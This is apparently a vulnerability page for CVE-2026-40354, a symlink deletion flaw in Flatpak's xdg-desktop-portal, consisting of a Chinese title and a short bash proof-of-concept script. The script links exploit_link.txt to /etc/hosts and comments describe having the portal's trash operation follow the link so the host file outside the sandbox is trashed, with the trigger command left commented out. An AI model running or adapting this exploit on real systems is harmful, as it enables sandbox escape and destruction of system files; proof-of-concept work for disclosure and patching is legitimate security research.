CVE-2026-40354 Flatpak xdg-desktop-portal 符号链接删除漏洞

#!/bin/bash # PoC for CVE-2026-40354 # Demonstrates the symlink attack concept HOST_FILE="/etc/hosts" SYMLINK="exploit_link.txt" echo "[+] Creating symlink pointing to host file..." ln -s $HOST_FILE $SYMLINK echo "[+] Triggering trash operation via portal..." # In a real scenario, the Flatpak app calls the portal DBus interface # which invokes g_file_trash on the symlink # gio trash $SYMLINK echo "[!] If successful, $HOST_FILE is trashed."